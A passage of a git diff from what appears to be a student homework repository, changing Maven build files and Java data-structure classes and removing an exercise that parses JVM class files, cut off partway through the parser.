-            </snapshots>
-        </pluginRepository>
-    </pluginRepositories>
-    <repositories>
-        <repository>
-            <id>alimaven</id>
-            <name>aliyun maven</name>
-            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>
-            <releases>
-                <enabled>true</enabled>
-            </releases>
-            <snapshots>
-                <enabled>true</enabled>
-            </snapshots>
-        </repository>
-        <repository>
-            <id>spring-snapshots</id>
-            <name>Spring Snapshots</name>
-            <url>https://repo.spring.io/libs-snapshot</url>
-            <snapshots>
-                <enabled>true</enabled>
-            </snapshots>
-        </repository>
-    </repositories>
-
-
     <properties>
+        <maven.compiler.encoding>UTF-8</maven.compiler.encoding>
         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
         <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
-        <java.version>1.8</java.version>
-        <maven.compiler.encoding>UTF-8</maven.compiler.encoding>
+        <jdk.version>1.8</jdk.version>
         <maven.compiler.source>1.8</maven.compiler.source>
         <maven.compiler.target>1.8</maven.compiler.target>
         <maven-compiler-plugin.version>3.0</maven-compiler-plugin.version>
-        <logback.version>1.1.7</logback.version>
         <logback-classic.version>1.1.7</logback-classic.version>
         <commons-logging.version>1.2</commons-logging.version>
         <log4j.version>1.2.17</log4j.version>
         <junit.version>4.12</junit.version>
-        <commons-lang3.version>3.4</commons-lang3.version>
-        <commons-collections4.version>4.1</commons-collections4.version>
-        <commons-io.version>2.5</commons-io.version>
-        <commons-beanutils.version>1.9.2</commons-beanutils.version>
-        <guava.version>19.0</guava.version>
-        <rxjava.version>1.1.6</rxjava.version>
-        <lombok.version>1.16.10</lombok.version>
-        <fastjson.version>1.2.22</fastjson.version>
-        <strman.version>0.2.0</strman.version>
-        <joda-time.version>2.9.4</joda-time.version>
-
     </properties>
 
     <dependencies>
@@ -89,59 +41,6 @@
             <version>${log4j.version}</version>
         </dependency>
         <!-- 配置所有依赖库的日志依赖 end-->
-        <!--  utils 相关jar包 start -->
-        <dependency>
-            <groupId>org.apache.commons</groupId>
-            <artifactId>commons-lang3</artifactId>
-            <version>${commons-lang3.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>org.apache.commons</groupId>
-            <artifactId>commons-collections4</artifactId>
-            <version>${commons-collections4.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>commons-io</groupId>
-            <artifactId>commons-io</artifactId>
-            <version>${commons-io.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>commons-beanutils</groupId>
-            <artifactId>commons-beanutils</artifactId>
-            <version>${commons-beanutils.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>com.google.guava</groupId>
-            <artifactId>guava</artifactId>
-            <version>${guava.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>org.projectlombok</groupId>
-            <artifactId>lombok</artifactId>
-            <version>${lombok.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>joda-time</groupId>
-            <artifactId>joda-time</artifactId>
-            <version>${joda-time.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>io.reactivex</groupId>
-            <artifactId>rxjava</artifactId>
-            <version>${rxjava.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>com.alibaba</groupId>
-            <artifactId>fastjson</artifactId>
-            <version>${fastjson.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>com.shekhargulati</groupId>
-            <artifactId>strman</artifactId>
-            <version>${strman.version}</version>
-        </dependency>
-        <!--  utils 相关jar包 end -->
-
         <!-- 测试 -->
         <dependency>
             <groupId>junit</groupId>
@@ -150,6 +49,33 @@
         </dependency>
     </dependencies>
 
+    <pluginRepositories>
+        <pluginRepository>
+            <id>alimaven</id>
+            <name>aliyun maven</name>
+            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>
+            <releases>
+                <enabled>true</enabled>
+            </releases>
+            <snapshots>
+                <enabled>true</enabled>
+            </snapshots>
+        </pluginRepository>
+    </pluginRepositories>
+    <repositories>
+        <repository>
+            <id>alimaven</id>
+            <name>aliyun maven</name>
+            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>
+            <releases>
+                <enabled>true</enabled>
+            </releases>
+            <snapshots>
+                <enabled>true</enabled>
+            </snapshots>
+        </repository>
+    </repositories>
+
     <build>
         <finalName>${project.artifactId}</finalName>
         <plugins>
@@ -166,13 +92,13 @@
         </plugins>
     </build>
 
-    <!--<reporting>-->
-        <!--<plugins>-->
-            <!--<plugin>-->
-                <!--<groupId>org.apache.maven.plugins</groupId>-->
-                <!--<artifactId>maven-surefire-report-plugin</artifactId>-->
-                <!--<version>2.19.1</version>-->
-            <!--</plugin>-->
-        <!--</plugins>-->
-    <!--</reporting>-->
+    <reporting>
+        <plugins>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-surefire-report-plugin</artifactId>
+                <version>2.19.1</version>
+            </plugin>
+        </plugins>
+    </reporting>
 </project>
\ No newline at end of file
diff --git a/group17/1204187480/code/homework/pom.xml b/group17/1204187480/code/homework/pom.xml
index 73e8c4160f..c8b94c2bc2 100644
--- a/group17/1204187480/code/homework/pom.xml
+++ b/group17/1204187480/code/homework/pom.xml
@@ -8,7 +8,7 @@
     <packaging>pom</packaging>
     <modules>
         <module>parent</module>
-        <module>coding</module>
+        <module>basic</module>
         <module>coderising</module>
     </modules>
 
diff --git a/group17/1204187480/note/todo/homework.md b/group17/1204187480/note/todo/homework.md
deleted file mode 100644
index 5f111a9ea6..0000000000
--- a/group17/1204187480/note/todo/homework.md
+++ /dev/null
@@ -1,8 +0,0 @@
-# 0326 操作系统中的lru算法
-
-ClassFileLoader
-
-LRUPageFrame
-
-深入理解java虚拟机 第6章
-
diff --git a/group17/1264835468/src/assignment/BinaryTree.java b/group17/1264835468/src/assignment/BinaryTree.java
index 882a87f6ed..1d76a7ce2c 100644
--- a/group17/1264835468/src/assignment/BinaryTree.java
+++ b/group17/1264835468/src/assignment/BinaryTree.java
@@ -53,10 +53,10 @@ public String toString() {
 	 *
 	 */
 	private class BFSNodeQueue {
-		private Queue<BinaryTreeNode<T>> nodeQueue;
+		private MyQueue<BinaryTreeNode<T>> nodeQueue;
 
 		public BFSNodeQueue() {
-			nodeQueue = new Queue<>();
+			nodeQueue = new MyQueue<>();
 		}
 
 		public boolean isEmpty() {
@@ -79,9 +79,9 @@ public BinaryTreeNode<T> deQueue() {
 		}
 
 		// 把所有出队节点放进另一个队列中
-		public Queue<BinaryTreeNode<T>> getResult() {
+		public MyQueue<BinaryTreeNode<T>> getResult() {
 			prepare();
-			Queue<BinaryTreeNode<T>> result = new Queue<>();
+			MyQueue<BinaryTreeNode<T>> result = new MyQueue<>();
 			while (!isEmpty()) {
 				result.enQueue(deQueue());
 			}
@@ -121,7 +121,7 @@ private class BFSIterator implements Iterator<BinaryTreeNode<T>> {
 		Iterator<BinaryTreeNode<T>> iterator;
 
 		public BFSIterator() {
-			Queue<BinaryTreeNode<T>> BFSQueue = new BFSNodeQueue().getResult();
+			MyQueue<BinaryTreeNode<T>> BFSQueue = new BFSNodeQueue().getResult();
 			list = new MyArrayList<>();
 			while (!BFSQueue.isEmpty()) {
 				list.add(BFSQueue.deQueue());
diff --git a/group17/1264835468/src/assignment/Queue.java b/group17/1264835468/src/assignment/MyQueue.java
similarity index 95%
rename from group17/1264835468/src/assignment/Queue.java
rename to group17/1264835468/src/assignment/MyQueue.java
index eb3b474e75..c5e3e8ce88 100644
--- a/group17/1264835468/src/assignment/Queue.java
+++ b/group17/1264835468/src/assignment/MyQueue.java
@@ -1,6 +1,6 @@
 package assignment;
 
-public class Queue<T> {
+public class MyQueue<T> {
 	private MyLinkedList<T> elementData = new MyLinkedList<>();
 
 	public void enQueue(T o) {
diff --git a/group17/1264835468/src/assignment/MyStack.java b/group17/1264835468/src/assignment/MyStack.java
new file mode 100644
index 0000000000..0c3d30337b
--- /dev/null
+++ b/group17/1264835468/src/assignment/MyStack.java
@@ -0,0 +1,39 @@
+package assignment;
+
+public class MyStack<T> {
+	private MyArrayList<T> elementData = new MyArrayList<>();
+
+	public void push(T o) {
+		elementData.add(o);
+	}
+
+	public T pop() {
+		if (!isEmpty()) {
+			T data = elementData.remove(elementData.size() - 1);
+			return data;
+		}
+		throw new StackIsEmptyException();
+	}
+
+	public T peek() {
+		return elementData.get(elementData.size() - 1);
+	}
+
+	public boolean isEmpty() {
+		return elementData.size() == 0;
+	}
+
+	public int size() {
+		return elementData.size();
+	}
+}
+
+class StackIsEmptyException extends RuntimeException {
+	public StackIsEmptyException() {
+		super();
+	}
+
+	public StackIsEmptyException(String string) {
+		super(string);
+	}
+}
diff --git a/group17/1264835468/src/assignment/Stack.java b/group17/1264835468/src/assignment/Stack.java
deleted file mode 100644
index 9100544ee3..0000000000
--- a/group17/1264835468/src/assignment/Stack.java
+++ /dev/null
@@ -1,53 +0,0 @@
-package assignment;
-
-public class Stack<T> {
-	private MyArrayList<T> elementData = new MyArrayList<>();
-
-	public void push(T o) {
-		elementData.add(o);
-	}
-
-	public T pop() {
-		if (!isEmpty()) {
-			T data = elementData.remove(elementData.size() - 1);
-			return data;
-		}
-		throw new EmptyStackException();
-	}
-
-	public T peek() {
-		if(!isEmpty())
-			return elementData.get(elementData.size() - 1);
-		throw new EmptyStackException();
-	}
-
-	public boolean isEmpty() {
-		return elementData.size() == 0;
-	}
-
-	public int size() {
-		return elementData.size();
-	}
-
-	@Override
-	public String toString() {
-		StringBuilder stringBuilder = new StringBuilder();
-		for (int i = elementData.size()-1; i >=0; i--) {
-			stringBuilder.append(elementData.get(i));
-			if (i != 0) {
-				stringBuilder.append(", ");
-			}
-		}
-		return stringBuilder.toString();
-	}
-}
-
-class EmptyStackException extends RuntimeException {
-	public EmptyStackException() {
-		super();
-	}
-
-	public EmptyStackException(String string) {
-		super(string);
-	}
-}
diff --git a/group17/1264835468/src/assignment0326/jvm/clz/AccessFlag.java b/group17/1264835468/src/assignment0326/jvm/clz/AccessFlag.java
deleted file mode 100644
index f95bc2e902..0000000000
--- a/group17/1264835468/src/assignment0326/jvm/clz/AccessFlag.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package assignment0326.jvm.clz;
-
-public class AccessFlag {
-	private int flagValue;
-
-	public AccessFlag(int value) {
-		this.flagValue = value;
-	}
-
-	public int getFlagValue() {
-		return flagValue;
-	}
-
-	public void setFlagValue(int flag) {
-		this.flagValue = flag;
-	}
-	
-	public boolean isPublicClass(){
-		return (this.flagValue & 0x0001) != 0;
-	}
-	public boolean isFinalClass(){
-		return (this.flagValue & 0x0010) != 0;
-	}
-	
-}
\ No newline at end of file
diff --git a/group17/1264835468/src/assignment0326/jvm/clz/ClassFile.java b/group17/1264835468/src/assignment0326/jvm/clz/ClassFile.java
deleted file mode 100644
index 2cb501297d..0000000000
--- a/group17/1264835468/src/assignment0326/jvm/clz/ClassFile.java
+++ /dev/null
@@ -1,77 +0,0 @@
-package assignment0326.jvm.clz;
-
-
-import assignment0326.jvm.constant.ClassInfo;
-import assignment0326.jvm.constant.ConstantPool;
-
-public class ClassFile {
-	
-	private int minorVersion;
-	private int majorVersion;
-	
-	private AccessFlag accessFlag;
-	private ClassIndex clzIndex;
-	private ConstantPool pool;
-	
-	
-	public ClassIndex getClzIndex() {
-		return clzIndex;
-	}
-	public AccessFlag getAccessFlag() {
-		return accessFlag;
-	}
-	public void setAccessFlag(AccessFlag accessFlag) {
-		this.accessFlag = accessFlag;
-	}
-	
-	
-	
-	public ConstantPool getConstantPool() {		
-		return pool;
-	}
-	public int getMinorVersion() {
-		return minorVersion;
-	}
-	public void setMinorVersion(int minorVersion) {
-		this.minorVersion = minorVersion;
-	}
-	public int getMajorVersion() {
-		return majorVersion;
-	}
-	public void setMajorVersion(int majorVersion) {
-		this.majorVersion = majorVersion;
-	}
-	public void setConstPool(ConstantPool pool) {
-		this.pool = pool;
-		
-	}
-	public void setClassIndex(ClassIndex clzIndex) {
-		this.clzIndex = clzIndex;		
-	}
-	
-	
-	
-	
-	public void print(){
-		
-		if(this.accessFlag.isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ getClassName());
-		
-		System.out.println("Super Class Name:"+ getSuperClassName());
-		
-		
-	}
-	
-	private String getClassName(){
-		int thisClassIndex = this.clzIndex.getThisClassIndex();
-		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
-		return thisClass.getClassName();
-	}
-
-	private String getSuperClassName(){
-		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
-		return superClass.getClassName();
-	}
-}
diff --git a/group17/1264835468/src/assignment0326/jvm/clz/ClassIndex.java b/group17/1264835468/src/assignment0326/jvm/clz/ClassIndex.java
deleted file mode 100644
index a3e5c3d350..0000000000
--- a/group17/1264835468/src/assignment0326/jvm/clz/ClassIndex.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package assignment0326.jvm.clz;
-
-public class ClassIndex {
-	private int thisClassIndex;
-	private int superClassIndex;
-	
-	public int getThisClassIndex() {
-		return thisClassIndex;
-	}
-	public void setThisClassIndex(int thisClassIndex) {
-		this.thisClassIndex = thisClassIndex;
-	}
-	public int getSuperClassIndex() {
-		return superClassIndex;
-	}
-	public void setSuperClassIndex(int superClassIndex) {
-		this.superClassIndex = superClassIndex;
-	}
-}
\ No newline at end of file
diff --git a/group17/1264835468/src/assignment0326/jvm/constant/ClassInfo.java b/group17/1264835468/src/assignment0326/jvm/constant/ClassInfo.java
deleted file mode 100644
index 4a7397478e..0000000000
--- a/group17/1264835468/src/assignment0326/jvm/constant/ClassInfo.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package assignment0326.jvm.constant;
-
-public class ClassInfo extends ConstantInfo {
-	private int type = ConstantInfo.CLASS_INFO;
-	private int utf8Index ;
-	public ClassInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getUtf8Index() {
-		return utf8Index;
-	}
-	public void setUtf8Index(int utf8Index) {
-		this.utf8Index = utf8Index;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public String getClassName() {		
-		int index = getUtf8Index();
-		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
-		return utf8Info.getValue();		
-	}
-}
diff --git a/group17/1264835468/src/assignment0326/jvm/constant/ConstantInfo.java b/group17/1264835468/src/assignment0326/jvm/constant/ConstantInfo.java
deleted file mode 100644
index f6acdc0580..0000000000
--- a/group17/1264835468/src/assignment0326/jvm/constant/ConstantInfo.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package assignment0326.jvm.constant;
-
-public abstract class ConstantInfo {
-	public static final int UTF8_INFO = 1;
-	public static final int FLOAT_INFO = 4;
-	public static final int CLASS_INFO = 7;
-	public static final int STRING_INFO = 8;
-	public static final int FIELD_INFO = 9;
-	public static final int METHOD_INFO = 10;
-	public static final int NAME_AND_TYPE_INFO = 12;
-	protected ConstantPool constantPool;
-	
-	public ConstantInfo(){
-		
-	}
-	
-	public ConstantInfo(ConstantPool pool) {
-		this.constantPool = pool;
-	}
-	public abstract int getType();
-	
-	public ConstantPool getConstantPool() {
-		return constantPool;
-	}
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantPool.getConstantInfo(index);
-	}
-	
-}
diff --git a/group17/1264835468/src/assignment0326/jvm/constant/ConstantPool.java b/group17/1264835468/src/assignment0326/jvm/constant/ConstantPool.java
deleted file mode 100644
index 96f40534da..0000000000
--- a/group17/1264835468/src/assignment0326/jvm/constant/ConstantPool.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package assignment0326.jvm.constant;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class ConstantPool {
-	
-	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
-	
-	
-	public ConstantPool(){
-		
-	}
-	public void addConstantInfo(ConstantInfo info){
-		
-		this.constantInfos.add(info);
-		
-	}
-	
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantInfos.get(index);
-	}
-	public String getUTF8String(int index){
-		return ((UTF8Info)this.constantInfos.get(index)).getValue();
-	}
-	public Object getSize() {		
-		return this.constantInfos.size() -1;
-	}
-}
diff --git a/group17/1264835468/src/assignment0326/jvm/constant/FieldRefInfo.java b/group17/1264835468/src/assignment0326/jvm/constant/FieldRefInfo.java
deleted file mode 100644
index d0beb7f1f2..0000000000
--- a/group17/1264835468/src/assignment0326/jvm/constant/FieldRefInfo.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package assignment0326.jvm.constant;
-
-public class FieldRefInfo extends ConstantInfo{
-	private int type = ConstantInfo.FIELD_INFO;
-	private int classInfoIndex;
-	private int nameAndTypeIndex;
-	
-	public FieldRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-		
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		
-		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
-	}
-	
-	public String getClassName(){
-		
-		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
-		
-		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
-		
-		return utf8Info.getValue();
-		
-	}
-	
-	public String getFieldName(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();		
-	}
-	
-	public String getFieldType(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();	
-	}
-}
diff --git a/group17/1264835468/src/assignment0326/jvm/constant/MethodRefInfo.java b/group17/1264835468/src/assignment0326/jvm/constant/MethodRefInfo.java
deleted file mode 100644
index 3678f46c39..0000000000
--- a/group17/1264835468/src/assignment0326/jvm/constant/MethodRefInfo.java
+++ /dev/null
@@ -1,55 +0,0 @@
-package assignment0326.jvm.constant;
-
-public class MethodRefInfo extends ConstantInfo {
-	
-	private int type = ConstantInfo.METHOD_INFO;
-	
-	private int classInfoIndex;	
-	private int nameAndTypeIndex;
-	
-	public MethodRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-	
-		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
-	}
-	public String getClassName(){
-		ConstantPool pool = this.getConstantPool();		
-		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
-		return clzInfo.getClassName();
-	}
-	
-	public String getMethodName(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();
-	}
-	
-	public String getParamAndReturnType(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();
-	}
-	
-	
-	
-}
diff --git a/group17/1264835468/src/assignment0326/jvm/constant/NameAndTypeInfo.java b/group17/1264835468/src/assignment0326/jvm/constant/NameAndTypeInfo.java
deleted file mode 100644
index 7659657b94..0000000000
--- a/group17/1264835468/src/assignment0326/jvm/constant/NameAndTypeInfo.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package assignment0326.jvm.constant;
-
-public class NameAndTypeInfo extends ConstantInfo{
-	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
-	
-	private int index1;
-	private int index2;
-	
-	public NameAndTypeInfo(ConstantPool pool) {
-		super(pool);
-	}
-	
-	public int getIndex1() {
-		return index1;
-	}
-	public void setIndex1(int index1) {
-		this.index1 = index1;
-	}
-	public int getIndex2() {
-		return index2;
-	}
-	public void setIndex2(int index2) {
-		this.index2 = index2;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	
-	public String getName(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
-		return utf8Info1.getValue();
-	}
-	
-	public String getTypeInfo(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
-		return utf8Info2.getValue();
-	}
-	
-	public String toString(){
-		return "(" + getName() + "," + getTypeInfo()+")";
-	}
-}
diff --git a/group17/1264835468/src/assignment0326/jvm/constant/NullConstantInfo.java b/group17/1264835468/src/assignment0326/jvm/constant/NullConstantInfo.java
deleted file mode 100644
index d8f8bda26e..0000000000
--- a/group17/1264835468/src/assignment0326/jvm/constant/NullConstantInfo.java
+++ /dev/null
@@ -1,13 +0,0 @@
-package assignment0326.jvm.constant;
-
-public class NullConstantInfo extends ConstantInfo {
-
-	public NullConstantInfo(){
-		
-	}
-	@Override
-	public int getType() {		
-		return -1;
-	}
-	
-}
diff --git a/group17/1264835468/src/assignment0326/jvm/constant/StringInfo.java b/group17/1264835468/src/assignment0326/jvm/constant/StringInfo.java
deleted file mode 100644
index eb6b9b4d7e..0000000000
--- a/group17/1264835468/src/assignment0326/jvm/constant/StringInfo.java
+++ /dev/null
@@ -1,26 +0,0 @@
-package assignment0326.jvm.constant;
-
-public class StringInfo extends ConstantInfo{
-	private int type = ConstantInfo.STRING_INFO;
-	private int index;
-	public StringInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-
-	
-	public String toString(){
-		return this.getConstantPool().getUTF8String(index);
-	}
-	
-}
diff --git a/group17/1264835468/src/assignment0326/jvm/constant/UTF8Info.java b/group17/1264835468/src/assignment0326/jvm/constant/UTF8Info.java
deleted file mode 100644
index 80f3389bd9..0000000000
--- a/group17/1264835468/src/assignment0326/jvm/constant/UTF8Info.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package assignment0326.jvm.constant;
-
-public class UTF8Info extends ConstantInfo{
-	private int type = ConstantInfo.UTF8_INFO;
-	private int length ;
-	private String value;
-	public UTF8Info(ConstantPool pool) {
-		super(pool);
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getType() {
-		return type;
-	}
-	@Override
-	public String toString() {
-		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
-	}
-	public String getValue() {
-		return value;
-	}
-	public void setValue(String value) {
-		this.value = value;
-	}
-	
-	
-
-}
diff --git a/group17/1264835468/src/assignment0326/jvm/loader/ByteCodeIterator.java b/group17/1264835468/src/assignment0326/jvm/loader/ByteCodeIterator.java
deleted file mode 100644
index 09d87c13b6..0000000000
--- a/group17/1264835468/src/assignment0326/jvm/loader/ByteCodeIterator.java
+++ /dev/null
@@ -1,42 +0,0 @@
-package assignment0326.jvm.loader;
-
-public class ByteCodeIterator {
-    int curPos;
-    byte[] bytes;
-
-    public ByteCodeIterator(byte[] bytes) {
-        curPos = 0;
-        this.bytes = bytes;
-    }
-
-    public boolean hasNext() {
-        return !(curPos >= bytes.length);
-    }
-
-    public byte nextByte() {
-        return bytes[curPos++];
-    }
-
-    public int nextByteToInt() {
-        return Byte.toUnsignedInt(nextByte());
-    }
-
-    public int next2BytesToInt() {
-        int hi = Byte.toUnsignedInt(nextByte());
-        int lo = Byte.toUnsignedInt(nextByte());
-        int i = hi << 8 | lo;
-        return i;
-    }
-
-    public byte[] nextNBytes(int n) {
-        byte[] bytes = new byte[n];
-        for (int i = 0; i < n; i++) {
-            bytes[i] = nextByte();
-        }
-        return bytes;
-    }
-
-    public void skip(int n) {
-        curPos += n;
-    }
-}
diff --git a/group17/1264835468/src/assignment0326/jvm/loader/ClassFileLoader.java b/group17/1264835468/src/assignment0326/jvm/loader/ClassFileLoader.java
index 3b05a1f761..a5add91113 100644
--- a/group17/1264835468/src/assignment0326/jvm/loader/ClassFileLoader.java
+++ b/group17/1264835468/src/assignment0326/jvm/loader/ClassFileLoader.java
@@ -1,13 +1,9 @@
 package assignment0326.jvm.loader;
 
-import assignment0326.jvm.clz.ClassFile;
-
 import java.io.BufferedInputStream;
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.IOException;
-import java.nio.file.Files;
-import java.nio.file.Paths;
 import java.util.ArrayList;
 import java.util.List;
 
@@ -17,67 +13,47 @@
 public class ClassFileLoader {
 
 
-    private List<String> clzPaths = new ArrayList<>();
-
-    public byte[] readBinaryCode(String className) {
-        String path = className.replace(".", File.separator);
-        File classFile = null;
-        for (String p : clzPaths) {
-            classFile = new File(p + File.separator + path + ".class");
-            if (classFile.exists())
-                break;
-        }
-        if (classFile == null)
-            throw new RuntimeException("no such class file");
+        private List<String> clzPaths = new ArrayList<String>();
 
-        byte[] bytes = new byte[(int) classFile.length()];
-        try (BufferedInputStream bufferedInputStream = new BufferedInputStream(new FileInputStream(classFile))) {
-            bufferedInputStream.read(bytes, 0, bytes.length);
-
-        } catch (IOException e) {
-            e.printStackTrace();
-        }
-        return bytes;
-    }
+        public byte[] readBinaryCode(String className) {
+            String path = className.replace(".", File.separator);
+            File classFile=null;
+            for (String p: clzPaths) {
+                classFile=new File(p+File.separator+path+".class");
+                if(classFile.exists())
+                    break;
+            }
+            if(classFile==null)
+                throw new RuntimeException("no such class file");
 
+            byte[] bytes=new byte[(int)classFile.length()];
+            try (BufferedInputStream bufferedInputStream = new BufferedInputStream(new FileInputStream(classFile))){
+                bufferedInputStream.read(bytes, 0, bytes.length);
 
-    public void addClassPath(String path) {
-        if (this.clzPaths.contains(path)) {
-            return;
+            } catch (IOException e) {
+                e.printStackTrace();
+            }
+            return bytes;
         }
-        clzPaths.add(path);
-    }
 
 
-    public String getClassPath() {
-        StringBuilder stringBuilder = new StringBuilder();
-        for (int i = 0; i < clzPaths.size() - 1; i++) {
-            stringBuilder.append(clzPaths.get(i) + ";");
+        public void addClassPath(String path) {
+            clzPaths.add(path);
         }
-        stringBuilder.append(clzPaths.get(clzPaths.size() - 1));
-        return stringBuilder.toString();
-    }
 
 
-    private byte[] loadClassFile(String clzFileName) {
 
-        try {
-
-            return Files.readAllBytes(Paths.get(clzFileName));
-
-
-        } catch (IOException e) {
-            e.printStackTrace();
-            return null;
+        public String getClassPath(){
+            StringBuilder stringBuilder=new StringBuilder();
+            for (int i = 0; i <clzPaths.size()-1; i++) {
+                stringBuilder.append(clzPaths.get(i) + ";");
+            }
+            stringBuilder.append(clzPaths.get(clzPaths.size()-1));
+            return stringBuilder.toString();
         }
-    }
 
-    public ClassFile loadClass(String className) {
-        byte[] codes = this.readBinaryCode(className);
-        ClassFileParser parser = new ClassFileParser();
-        return parser.parse(codes);
 
-    }
+
 
 
 }
diff --git a/group17/1264835468/src/assignment0326/jvm/loader/ClassFileParser.java b/group17/1264835468/src/assignment0326/jvm/loader/ClassFileParser.java
deleted file mode 100644
index 9543a917a9..0000000000
--- a/group17/1264835468/src/assignment0326/jvm/loader/ClassFileParser.java
+++ /dev/null
@@ -1,133 +0,0 @@
-package assignment0326.jvm.loader;
-
-import assignment0326.jvm.clz.AccessFlag;
-import assignment0326.jvm.clz.ClassFile;
-import assignment0326.jvm.clz.ClassIndex;
-import assignment0326.jvm.constant.*;
-
-
-public class ClassFileParser {
-
-    private ConstantPool constantPool;
-
-    public ClassFile parse(byte[] codes) {
-        ClassFile classFile = new ClassFile();
-        ByteCodeIterator iterator = new ByteCodeIterator(codes);
-        magicNumberVerify(iterator);
-
-        classFile.setMinorVersion(iterator.next2BytesToInt());
-        classFile.setMajorVersion(iterator.next2BytesToInt());
-
-        classFile.setConstPool(parseConstantPool(iterator));
-
-        classFile.setAccessFlag(parseAccessFlag(iterator));
-
-        classFile.setClassIndex(parseClassIndex(iterator));
-        return classFile;
-    }
-
-    private void magicNumberVerify(ByteCodeIterator iterator) {
-        String magicNumber=Integer.toHexString(iterator.nextByteToInt());
-        for (int i = 0; i < 3; i++) {
-            magicNumber += Integer.toHexString(iterator.nextByteToInt());
-        }
-        if (!"cafebabe".equals(magicNumber)) {
-            throw new RuntimeException("Illegal class file.");
-        }
-    }
-
-    private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
-        AccessFlag flag = new AccessFlag(iter.next2BytesToInt());
-        return flag;
-    }
-
-    private ClassIndex parseClassIndex(ByteCodeIterator iter) {
-        ClassIndex classIndex = new ClassIndex();
-        classIndex.setThisClassIndex(iter.next2BytesToInt());
-        classIndex.setSuperClassIndex(iter.next2BytesToInt());
-        return classIndex;
-
-    }
-
-    private ConstantPool parseConstantPool(ByteCodeIterator iter) {
-        constantPool = new ConstantPool();
-        int size = iter.next2BytesToInt();
-        constantPool.addConstantInfo(new NullConstantInfo());
-        for (int i = 0; i < size - 1; i++) {
-            parseConstant(iter);
-        }
-        return constantPool;
-    }
-
-    private void parseConstant(ByteCodeIterator iter) {
-        int tag = iter.nextByteToInt();
-        ConstantInfo constantInfo;
-        switch (tag) {
-            case ConstantInfo.UTF8_INFO:
